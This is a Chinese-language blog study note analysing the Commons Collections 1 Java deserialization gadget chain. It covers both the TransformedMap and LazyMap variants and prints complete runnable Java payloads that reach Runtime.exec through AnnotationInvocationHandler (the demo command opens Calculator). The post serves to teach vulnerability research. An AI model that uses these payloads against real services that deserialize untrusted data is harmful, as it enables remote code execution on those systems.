Java反序列化漏洞学习之CommonsCollections1分析


测试环境

  • commons-collections3.1~3.2.1(笔者环境3.1)
  • jdk 8u71之前都可以(笔者环境:8u66)

maven:

<dependencies>
  <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
  </dependency>
</dependencies>

该漏洞主流的两个版本为:TransformedMapLazyMap本文着重分析这两个类。

TransformedMap版本

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。

举个例子获得一个TransformedMap的实例,可以通过TransformedMap.decorate()方法:

Map tansformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

其源码如下:

当TransformedMap内的key或者value发生变化时,就会触发相应参数的Transformer的transform()方法。

Transformer

Transformer只是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。

查找那些类实现了Transformer接口,这里我们重点查看InvokerTransformer,因为它是我们反序列化能执行任意代码的关键。

InvokerTransformer

重点查看该类的transform()方法

这里通过 input.getClass(); 获取对象,然后通过 cls.getMethod(this.iMethodName, this.iParamTypes); 传入方法名、方法的的参数类型来调用对象的方法,之后通过 method.invoke(input, this.iArgs); 来执行该方法。

并且该类也实现了 Serializable 接口,尝试进行序列化与反序列化的利用

package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import javax.xml.ws.spi.Invoker;
import java.io.*;

public class Demo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Transformer invoker = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open -a Calculator"});
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./test.bin"));
        outputStream.writeObject(invoker);
        outputStream.close();
        FileInputStream fi = new FileInputStream("./test.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        InvokerTransformer in = (InvokerTransformer) fin.readObject();
        in.transform(Runtime.getRuntime());
    }
}

这里我们看看我们的一句话到函数里面是如何构造的:

  • methodName = “exec” => iMethodName
  • paramTypes = “new Class[]{String.class}” => iParamtypes
  • iArgs = “new String[]{“open -a Calculator”}” => iArgs

虽然成功执行,但是单单利用 InvokeTransformer 类来进行反序列化漏洞的利用在实战中是条件极其苛刻的

  • 目标得恰巧利用 InvokerTransformer 将反序列化后的数据进行转型。

  • 目标得在转型后,正好调用了 transform,并且参数是攻击者可以控制的。

不过前辈们早已找到了更好的方法了!

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 类也是一个Transformer实现类,在调用 ChainedTransformertransform方法时,会循环数组,依次调用 Transformer数组中每个Transformertransform方法,并将结果传递给下一个 Transformer,这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。

ConstantTransformer

这个同样是实现 Transformer 接口的一个类,非常简单在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。

思路整理

由了上面的铺垫这里我们可以把整个攻击思路整理一下:

  • 使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中.
  • 借助 ChainedTransformer 的链式调用方式完成反射的调用,运行恶意代码
  • 使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。

我们在写一个Demo进行验证:

package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class Demo {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChian
        Map innerMap = new HashMap();
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理,触发RCE
        outerMap.put("value", "value");
    }
}

这里最后还存在一个问题:

  • 上面的 Demo 需要我们手工执行改变 map 中的 key 的值,也就是手动执行 outerMap.put("value", "value"); 才可以触发命令执行,但在实际的应用中,不可能让我们手动执行,所以需要找到一个实现了 Serializable 的类,它在反序列化的 readObject 逻辑里有类似的写入操作。

AnnotationInvocationHandler

我们来看一下这个类的代码,首先是构造方法:

构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

重写的readObject 方法:

首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。

最终结果

最终payload:

package study;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.spi.Invoker;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Demo {
    public static void main(String[] args) throws Exception {
        //1.客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[]{} }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[]{} }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChian
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        ctor.setAccessible(true);
        //获取AnnotationInvocationHandler类实例
        Object instance = ctor.newInstance(Target.class, outerMap);

        //payload序列化写入文件,模拟网络传输
        ObjectOutputStream fout = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        fout.writeObject(instance);

        //2.服务端读取文件,反序列化,模拟网络传输
        ObjectInputStream fin = new ObjectInputStream(new FileInputStream("cc1.bin"));
        //服务端反序列化,触发漏洞
        fin.readObject();
    }
}

LazyMap版本

LazyMap 和 TransformedMap 类似,都来自于 CommonCollections 库,并继承自 AbstractMapDecorator。

TransformedMap 是只要调用 decorate () 函数,传入 key 和 value 的变换函数 Transformer,然后 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer (keyTransformer 或者 valueTransformer) 的 transform 方法就会被调用。

LazyMap 是只要执行 get 方法就会调用 transform,这个利用链利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用精心构造对象的 LazyMap 的 get 方法。

但是在查看其 get 方法,发先调用了 transform 方法(当中不到key值的时候)

因此需要找到一个 readObject 能跳转到这个地方的类,这里同样使用的是 AnnotationInvocationHandler

它实现了 InvocationHandler 并且可被反序列化

在其 invoke 方法中调用了 get 方法

确实调用了 get 方法,因此只要将此类用来代理 LazyMap 的话(实现了InvocationHandler,因此就可以作为代理类),那么无论调用什么方法都可以调用到 get

而在 readObject 里面确实也调用了这个

因为 AnnotationInvocationHandler 的构造方法是私有的,因此我们也要使用反射调用它

最终payload:

package study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Demo {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"open -a Calculator"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        handler = (InvocationHandler)
                construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
}

参考文章

https://0range228.github.io/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE%E8%A1%A5%E5%85%A8%E8%AE%A1%E5%88%92/#more

https://su18.org/post/ysoserial-su18-2/

https://fireline.fun/2021/06/11/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BCommonsCollections1(%E4%BA%8C)

https://www.cnblogs.com/Mikasa-Ackerman/p/Java-cc1.html


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 本篇
Java反序列化漏洞学习之CommonsCollections1分析 Java反序列化漏洞学习之CommonsCollections1分析
测试环境 commons-collections3.1~3.2.1(笔者环境3.1) jdk 8u71之前都可以(笔者环境:8u66) maven: <dependencies> <dependency> <
2021-11-03 EASY
下一篇 
fastjson 反序列化漏洞分析 fastjson 反序列化漏洞分析
前言继续学习java代码审计,这次来学习fastjson的漏洞 fastjson基础知识fastjson主要是把java类与json字符串的互相转换以及JavaBean对象与json字符串的互相转换 JavaBean是一个遵循特定写法的J
2021-09-22 EASY
  目录